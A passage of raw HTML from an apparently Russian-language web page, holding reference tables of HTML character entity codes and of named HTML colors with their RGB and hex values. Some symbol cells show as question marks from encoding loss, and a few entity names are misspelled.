<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Многоточие</td>
<td height="21" bgcolor="#f5f5f5">…</td>
<td height="21" bgcolor="#f5f5f5">&amp;#133;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Крест</td>
<td height="21" bgcolor="#f5f5f5">†</td>
<td height="21" bgcolor="#f5f5f5">&amp;#134;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Двойной крест</td>
<td height="21" bgcolor="#f5f5f5">‡</td>
<td height="21" bgcolor="#f5f5f5">&amp;#135;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Крышка</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#136;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Промилле</td>
<td height="21" bgcolor="#f5f5f5">‰</td>
<td height="21" bgcolor="#f5f5f5">&amp;#137;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">параграф</td>
<td height="21" bgcolor="#f5f5f5">§</td>
<td height="21" bgcolor="#f5f5f5">&amp;#138;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Символ меньше</td>
<td height="21" bgcolor="#f5f5f5">&lt;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#139;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большое ОЕ</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#140;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Одинарная кавычка слева</td>
<td height="21" bgcolor="#f5f5f5">‘</td>
<td height="21" bgcolor="#f5f5f5">&amp;#145;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Одинарная кавычка справа</td>
<td height="21" bgcolor="#f5f5f5">’</td>
<td height="21" bgcolor="#f5f5f5">&amp;#146;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Кавычка слева</td>
<td height="21" bgcolor="#f5f5f5">“</td>
<td height="21" bgcolor="#f5f5f5">&amp;#147;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Кавычка справа</td>
<td height="21" bgcolor="#f5f5f5">”</td>
<td height="21" bgcolor="#f5f5f5">&amp;#148;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Крупная точка</td>
<td height="21" bgcolor="#f5f5f5">•</td>
<td height="21" bgcolor="#f5f5f5">&amp;#149;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Короткий дефис</td>
<td height="21" bgcolor="#f5f5f5">–</td>
<td height="21" bgcolor="#f5f5f5">&amp;#150;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Длинный дефис</td>
<td height="21" bgcolor="#f5f5f5">—</td>
<td height="21" bgcolor="#f5f5f5">&amp;#151;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Тильда</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#152;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Торговый знак</td>
<td height="21" bgcolor="#f5f5f5">®</td>
<td height="21" bgcolor="#f5f5f5">&amp;#153;</td>
<td height="21" bgcolor="#f5f5f5">&amp;reg;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#154;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Символ больше</td>
<td height="21" bgcolor="#f5f5f5">&gt;</td>
<td height="21" bgcolor="#f5f5f5">&amp;#155;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Маленькое ое</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#156;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большой Y-умлаут</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#159;</td>
<td height="21" bgcolor="#f5f5f5"></td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Неразрывный пробел</td>
<td height="21" bgcolor="#f5f5f5"></td>
<td height="21" bgcolor="#f5f5f5">&amp;#160;</td>
<td height="21" bgcolor="#f5f5f5">&amp;nbsp;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Перевернутый восклицательный знак</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#161;</td>
<td height="21" bgcolor="#f5f5f5">&amp;ixcl;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Цент</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#162;</td>
<td height="21" bgcolor="#f5f5f5">&amp;cent;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Фунт</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#163;</td>
<td height="21" bgcolor="#f5f5f5">&amp;pound;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Валюта</td>
<td height="21" bgcolor="#f5f5f5">¤</td>
<td height="21" bgcolor="#f5f5f5">&amp;#164;</td>
<td height="21" bgcolor="#f5f5f5">&amp;curren;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Иена</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#165;</td>
<td height="21" bgcolor="#f5f5f5">&amp;yen;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Прерванный штрих</td>
<td height="21" bgcolor="#f5f5f5">¦</td>
<td height="21" bgcolor="#f5f5f5">&amp;#166;</td>
<td height="21" bgcolor="#f5f5f5">&amp;brvbar;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Параграф/Раздел</td>
<td height="21" bgcolor="#f5f5f5">§</td>
<td height="21" bgcolor="#f5f5f5">&amp;#167;</td>
<td height="21" bgcolor="#f5f5f5">&amp;sect;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Точки умлаута</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#168;</td>
<td height="21" bgcolor="#f5f5f5">&amp;uml;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Копирайт</td>
<td height="21" bgcolor="#f5f5f5">©</td>
<td height="21" bgcolor="#f5f5f5">&amp;#169;</td>
<td height="21" bgcolor="#f5f5f5">&amp;copy;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Порядковое числительное женского рода</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#170;</td>
<td height="21" bgcolor="#f5f5f5">&amp;ordf;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Французская кавычка слева</td>
<td height="21" bgcolor="#f5f5f5">«</td>
<td height="21" bgcolor="#f5f5f5">&amp;#171;</td>
<td height="21" bgcolor="#f5f5f5">&amp;laquo;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Не/Нет</td>
<td height="21" bgcolor="#f5f5f5">¬</td>
<td height="21" bgcolor="#f5f5f5">&amp;#172;</td>
<td height="21" bgcolor="#f5f5f5">&amp;not;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Дефис</td>
<td height="21" bgcolor="#f5f5f5">­</td>
<td height="21" bgcolor="#f5f5f5">&amp;#173;</td>
<td height="21" bgcolor="#f5f5f5">&amp;shy;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Зарегистрированный торговый знак</td>
<td height="21" bgcolor="#f5f5f5">®</td>
<td height="21" bgcolor="#f5f5f5">&amp;#174;</td>
<td height="21" bgcolor="#f5f5f5">&amp;reg;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Надчеркивание</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#175;</td>
<td height="21" bgcolor="#f5f5f5">&amp;macr;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Градус</td>
<td height="21" bgcolor="#f5f5f5">°</td>
<td height="21" bgcolor="#f5f5f5">&amp;#176;</td>
<td height="21" bgcolor="#f5f5f5">&amp;deg;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Плюс-минус</td>
<td height="21" bgcolor="#f5f5f5">±</td>
<td height="21" bgcolor="#f5f5f5">&amp;#177;</td>
<td height="21" bgcolor="#f5f5f5">&amp;plusmn;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Вторая степень</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#178;</td>
<td height="21" bgcolor="#f5f5f5">&amp;sup2;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Третья степень</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#179;</td>
<td height="21" bgcolor="#f5f5f5">&amp;sup3;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Маленькое а с ударением</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#180;</td>
<td height="21" bgcolor="#f5f5f5">&amp;acuate;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Мю</td>
<td height="21" bgcolor="#f5f5f5">µ</td>
<td height="21" bgcolor="#f5f5f5">&amp;#181;</td>
<td height="21" bgcolor="#f5f5f5">&amp;micro;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Параграф</td>
<td height="21" bgcolor="#f5f5f5">¶</td>
<td height="21" bgcolor="#f5f5f5">&amp;#182;</td>
<td height="21" bgcolor="#f5f5f5">&amp;para;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Средняя точка</td>
<td height="21" bgcolor="#f5f5f5">·</td>
<td height="21" bgcolor="#f5f5f5">&amp;#183;</td>
<td height="21" bgcolor="#f5f5f5">&amp;middot;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Цедиль</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#184;</td>
<td height="21" bgcolor="#f5f5f5">&amp;cedil;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Первая степень</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#185;</td>
<td height="21" bgcolor="#f5f5f5">&amp;sup1;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Порядковое числительное мужского рода</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#186;</td>
<td height="21" bgcolor="#f5f5f5">&amp;ordm;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Французская кавычка справа</td>
<td height="21" bgcolor="#f5f5f5">»</td>
<td height="21" bgcolor="#f5f5f5">&amp;#187;</td>
<td height="21" bgcolor="#f5f5f5">&amp;raquo;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Дробь 1/4</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#188;</td>
<td height="21" bgcolor="#f5f5f5">&amp;frac14;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Дробь 1/2</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#189;</td>
<td height="21" bgcolor="#f5f5f5">&amp;frac12;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Дробь 3/4</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#190;</td>
<td height="21" bgcolor="#f5f5f5">&amp;frac34;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Перевернутый вопросительный знак</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#191;</td>
<td height="21" bgcolor="#f5f5f5">&amp;iquest;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая А с ударением</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#192;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Agrave;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая А с ударением</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#193;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Aacute;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая А с крышкой</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#194;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Acirc;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая А с тильдой</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#195;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Atilde;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая А-умлаут</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#196;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Auml;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая А с кружком</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#197;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Aring;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большое АЕ</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#198;</td>
<td height="21" bgcolor="#f5f5f5">&amp;AElig;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая С цедил</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#199;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Ccedil;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая Е с ударением</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#200;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Egrave;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая Е с ударением</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#201;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Eacute;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая Е с крышкой</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#202;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Ecirc;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая Е-умлаут</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#203;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Euml;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая I с ударением</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#204;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Igrave;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая I c крышкой</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#206;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Icirс;</td>
</tr>
<tr bgcolor="#dcdada">
<td height="21" bgcolor="#f5f5f5">Большая I-умлаут</td>
<td height="21" bgcolor="#f5f5f5">?</td>
<td height="21" bgcolor="#f5f5f5">&amp;#207;</td>
<td height="21" bgcolor="#f5f5f5">&amp;Iuml;</td>
</tr>
</tbody>
</table>
<p><strong>Таблица html кодов цветов</strong></p>
<div style="background-color: #c7c7c7;"><!-- color table--></p>
<table cellspacing="1" cellpadding="15" width="100%">
<tbody>
<tr>
<td width="120" align="right" bgcolor="#e7e7e7">
<h3>Написание</h3>
</td>
<td align="middle" bgcolor="#e7e7e7">
<h3>Цвет</h3>
</td>
<td width="80" bgcolor="#e7e7e7">
<h3>R G B</h3>
</td>
<td width="70" bgcolor="#e7e7e7">
<h3>Код для HTML</h3>
</td>
</tr>
<tr>
<td align="right">Snow</td>
<td bgcolor="#fffafa">Snow</td>
<td>255 250 250</td>
<td bgcolor="#e7e7e7">#FFFAFA</td>
</tr>
<tr>
<td align="right">GhostWhite</td>
<td bgcolor="#f8f8ff">GhostWhite</td>
<td>248 248 255</td>
<td bgcolor="#e7e7e7">#F8F8FF</td>
</tr>
<tr>
<td align="right">WhiteSmoke</td>
<td bgcolor="#f5f5f5">WhiteSmoke</td>
<td>245 245 245</td>
<td bgcolor="#e7e7e7">#F5F5F5</td>
</tr>
<tr>
<td align="right">Gainsboro</td>
<td bgcolor="#dcdcdc">Gainsboro</td>
<td>220 220 220</td>
<td bgcolor="#e7e7e7">#DCDCDC</td>
</tr>
<tr>
<td align="right">FloralWhite</td>
<td bgcolor="#fffaf0">FloralWhite</td>
<td>255 250 240</td>
<td bgcolor="#e7e7e7">#FFFAF0</td>
</tr>
<tr>
<td align="right">OldLace</td>
<td bgcolor="#fdf5e6">OldLace</td>
<td>253 245 230</td>
<td bgcolor="#e7e7e7">#FDF5E6</td>
</tr>
<tr>
<td align="right">Linen</td>
<td bgcolor="#faf0e6">Linen</td>
<td>250 240 230</td>
<td bgcolor="#e7e7e7">#FAF0E6</td>
</tr>
<tr>
<td align="right">AntiqueWhite</td>
<td bgcolor="#faebd7">AntiqueWhite</td>
<td>250 235 215</td>
<td bgcolor="#e7e7e7">#FAEBD7</td>
</tr>
<tr>
<td align="right">PapayaWhip</td>
<td bgcolor="#ffefd5">PapayaWhip</td>
<td>255 239 213</td>
<td bgcolor="#e7e7e7">#FFEFD5</td>
</tr>
<tr>
<td align="right">BlanchedAlmond</td>
<td bgcolor="#ffebcd">BlanchedAlmond</td>
<td>255 235 205</td>
<td bgcolor="#e7e7e7">#FFEBCD</td>
</tr>
<tr>
<td align="right">Bisque</td>
<td bgcolor="#ffe4c4">Bisque</td>
<td>255 228 196</td>
<td bgcolor="#e7e7e7">#FFE4C4</td>
</tr>
<tr>
<td align="right">PeachPuff</td>
<td bgcolor="#ffdab9">PeachPuff</td>
<td>255 218 185</td>
<td bgcolor="#e7e7e7">#FFDAB9</td>
</tr>
<tr>
<td align="right">NavajoWhite</td>
<td bgcolor="#ffdead">NavajoWhite</td>
<td>255 222 173</td>
<td bgcolor="#e7e7e7">#FFDEAD</td>
</tr>
<tr>
<td align="right">Moccasin</td>
<td bgcolor="#ffe4b5">Moccasin</td>
<td>255 228 181</td>
<td bgcolor="#e7e7e7">#FFE4B5</td>
</tr>
<tr>
<td align="right">Cornsilk</td>
<td bgcolor="#fff8dc">Cornsilk</td>
<td>255 248 220</td>
<td bgcolor="#e7e7e7">#FFF8DC</td>
</tr>
<tr>
<td align="right">Ivory</td>
<td bgcolor="#fffff0">Ivory</td>
<td>255 255 240</td>
<td bgcolor="#e7e7e7">#FFFFF0</td>
</tr>
<tr>
<td align="right">LemonChiffon</td>
<td bgcolor="#fffacd">LemonChiffon</td>
<td>255 250 205</td>
<td bgcolor="#e7e7e7">#FFFACD</td>
</tr>
<tr>
<td align="right">Seashell</td>
<td bgcolor="#fff5ee">Seashell</td>
<td>255 245 238</td>
<td bgcolor="#e7e7e7">#FFF5EE</td>
</tr>
<tr>
<td align="right">Honeydew</td>
<td bgcolor="#f0fff0">Honeydew</td>
<td>240 255 240</td>
<td bgcolor="#e7e7e7">#F0FFF0</td>
</tr>
<tr>
<td align="right">MintCream</td>
<td bgcolor="#f5fffa">MintCream</td>
<td>245 255 250</td>
<td bgcolor="#e7e7e7">#F5FFFA</td>
</tr>
<tr>
<td align="right">Azure</td>
<td bgcolor="#f0ffff">Azure</td>
<td>240 255 255</td>
<td bgcolor="#e7e7e7">#F0FFFF</td>
</tr>
<tr>
<td align="right">AliceBlue</td>
<td bgcolor="#f0f8ff">AliceBlue</td>
<td>240 248 255</td>
<td bgcolor="#e7e7e7">#F0F8FF</td>
</tr>
<tr>
<td align="right">lavender</td>
<td bgcolor="#e6e6fa">lavender</td>
<td>230 230 250</td>
<td bgcolor="#e7e7e7">#E6E6FA</td>
</tr>
<tr>
<td align="right">LavenderBlush</td>
<td bgcolor="#fff0f5">LavenderBlush</td>
<td>255 240 245</td>
<td bgcolor="#e7e7e7">#FFF0F5</td>
</tr>
<tr>
<td align="right">MistyRose</td>
<td bgcolor="#ffe4e1">MistyRose</td>
<td>255 228 225</td>
<td bgcolor="#e7e7e7">#FFE4E1</td>
</tr>
<tr>
<td align="right">White</td>
<td bgcolor="#ffffff">White</td>
<td>255 255 255</td>
<td bgcolor="#e7e7e7">#FFFFFF</td>
</tr>
<tr>
<td align="right">Black</td>
<td bgcolor="#000000">Black</td>
<td>0 0 0</td>
<td bgcolor="#e7e7e7">#000000</td>
</tr>
<tr>
<td align="right">DarkSlateGray</td>
<td bgcolor="#2f4f4f">DarkSlateGray</td>
<td>47 79 79</td>
<td bgcolor="#e7e7e7">#2F4F4F</td>
</tr>
<tr>
<td align="right">DimGrey</td>
<td bgcolor="#696969">DimGrey</td>
<td>105 105 105</td>
<td bgcolor="#e7e7e7">#696969</td>
</tr>
<tr>
<td align="right">SlateGrey</td>
<td bgcolor="#708090">SlateGrey</td>
<td>112 128 144</td>
<td bgcolor="#e7e7e7">#708090</td>
</tr>
<tr>
<td align="right">LightSlateGray</td>
<td bgcolor="#778899">LightSlateGray</td>
<td>119 136 153</td>
<td bgcolor="#e7e7e7">#778899</td>
</tr>
<tr>
<td align="right">Grey</td>
<td bgcolor="#bebebe">Grey</td>
<td>190 190 190</td>
<td bgcolor="#e7e7e7">#BEBEBE</td>
</tr>
<tr>
<td align="right">LightGray</td>
<td bgcolor="#d3d3d3">LightGray</td>
<td>211 211 211</td>
<td bgcolor="#e7e7e7">#D3D3D3</td>
</tr>
<tr>
<td align="right">MidnightBlue</td>
<td bgcolor="#191970">MidnightBlue</td>
<td>25 25 112</td>
<td bgcolor="#e7e7e7">#191970</td>
</tr>
<tr>
<td align="right">NavyBlue</td>
<td bgcolor="#000080">NavyBlue</td>
<td>0 0 128</td>
<td bgcolor="#e7e7e7">#000080</td>
</tr>
<tr>
<td align="right">CornflowerBlue</td>
<td bgcolor="#6495ed">CornflowerBlue</td>
<td>100 149 237</td>
<td bgcolor="#e7e7e7">#6495ED</td>
</tr>
<tr>
<td align="right">DarkSlateBlue</td>
<td bgcolor="#483d8b">DarkSlateBlue</td>
<td>72 61 139</td>
<td bgcolor="#e7e7e7">#483D8B</td>
</tr>
<tr>
<td align="right">SlateBlue</td>
<td bgcolor="#6a5acd">SlateBlue</td>
<td>106 90 205</td>
<td bgcolor="#e7e7e7">#6A5ACD</td>
</tr>
<tr>
<td align="right">MediumSlateBlue</td>
<td bgcolor="#7b68ee">MediumSlateBlue</td>
<td>123 104 238</td>
<td bgcolor="#e7e7e7">#7B68EE</td>
</tr>
<tr>
<td align="right">LightSlateBlue</td>
<td bgcolor="#8470ff">LightSlateBlue</td>
<td>132 112 255</td>
<td bgcolor="#e7e7e7">#8470FF</td>
</tr>
<tr>
<td align="right">MediumBlue</td>
<td bgcolor="#0000cd">MediumBlue</td>
<td>0 0 205</td>
<td bgcolor="#e7e7e7">#0000CD</td>
</tr>
<tr>
<td align="right">RoyalBlue</td>
<td bgcolor="#4169e1">RoyalBlue</td>
<td>65 105 225</td>
<td bgcolor="#e7e7e7">#4169E1</td>
</tr>
<tr>
<td align="right">Blue</td>
<td bgcolor="#0000ff">Blue</td>
<td>0 0 255</td>
<td bgcolor="#e7e7e7">#0000FF</td>
</tr>
<tr>
<td align="right">DodgerBlue</td>
<td bgcolor="#1e90ff">DodgerBlue</td>
<td>30 144 255</td>
<td bgcolor="#e7e7e7">#1E90FF</td>
</tr>
<tr>
<td align="right">DeepSkyBlue</td>
<td bgcolor="#00bfff">DeepSkyBlue</td>
<td>0 191 255</td>
<td bgcolor="#e7e7e7">#00BFFF</td>
</tr>
<tr>
<td align="right">SkyBlue</td>
<td bgcolor="#87ceeb">SkyBlue</td>
<td>135 206 235</td>
<td bgcolor="#e7e7e7">#87CEEB</td>
</tr>
<tr>
<td align="right">LightSkyBlue</td>
<td bgcolor="#87cefa">LightSkyBlue</td>
<td>135 206 250</td>
<td bgcolor="#e7e7e7">#87CEFA</td>
</tr>
<tr>
<td align="right">SteelBlue</td>
<td bgcolor="#4682b4">SteelBlue</td>
<td>70 130 180</td>
<td bgcolor="#e7e7e7">#4682B4</td>
</tr>
<tr>
<td align="right">LightSteelBlue</td>
<td bgcolor="#b0c4de">LightSteelBlue</td>
<td>176 196 222</td>
<td bgcolor="#e7e7e7">#B0C4DE</td>
</tr>
<tr>
<td align="right">LightBlue</td>
<td bgcolor="#add8e6">LightBlue</td>
<td>173 216 230</td>
<td bgcolor="#e7e7e7">#ADD8E6</td>
</tr>
<tr>
<td align="right">PowderBlue</td>
<td bgcolor="#b0e0e6">PowderBlue</td>
<td>176 224 230</td>
<td bgcolor="#e7e7e7">#B0E0E6</td>
</tr>
<tr>
<td align="right">PaleTurquoise</td>
<td bgcolor="#afeeee">PaleTurquoise</td>
<td>175 238 238</td>
<td bgcolor="#e7e7e7">#AFEEEE</td>
</tr>
<tr>
<td align="right">DarkTurquoise</td>
<td bgcolor="#00ced1">DarkTurquoise</td>
<td>0 206 209</td>
<td bgcolor="#e7e7e7">#00CED1</td>
</tr>
<tr>
<td align="right">MediumTurquoise</td>
<td bgcolor="#48d1cc">MediumTurquoise</td>
<td>72 209 204</td>
<td bgcolor="#e7e7e7">#48D1CC</td>
</tr>
<tr>
<td align="right">Turquoise</td>
<td bgcolor="#40e0d0">Turquoise</td>
<td>64 224 208</td>
<td bgcolor="#e7e7e7">#40E0D0</td>
</tr>
<tr>
<td align="right">Cyan</td>
<td bgcolor="#00ffff">Cyan</td>
<td>0 255 255</td>
<td bgcolor="#e7e7e7">#00FFFF</td>
</tr>
<tr>
<td align="right">LightCyan</td>
<td bgcolor="#e0ffff">LightCyan</td>
<td>224 255 255</td>
<td bgcolor="#e7e7e7">#E0FFFF</td>
</tr>
<tr>
<td align="right">CadetBlue</td>
<td bgcolor="#5f9ea0">CadetBlue</td>
<td>95 158 160</td>
<td bgcolor="#e7e7e7">#5F9EA0</td>
</tr>
<tr>
<td align="right">MediumAquamarine</td>
<td bgcolor="#66cdaa">MediumAquamarine</td>
<td>102 205 170</td>
<td bgcolor="#e7e7e7">#66CDAA</td>
</tr>
<tr>
<td align="right">Aquamarine</td>
<td bgcolor="#7fffd4">Aquamarine</td>
<td>127 255 212</td>
<td bgcolor="#e7e7e7">#7FFFD4</td>
</tr>
<tr>
<td align="right">DarkGreen</td>
<td bgcolor="#006400">DarkGreen</td>
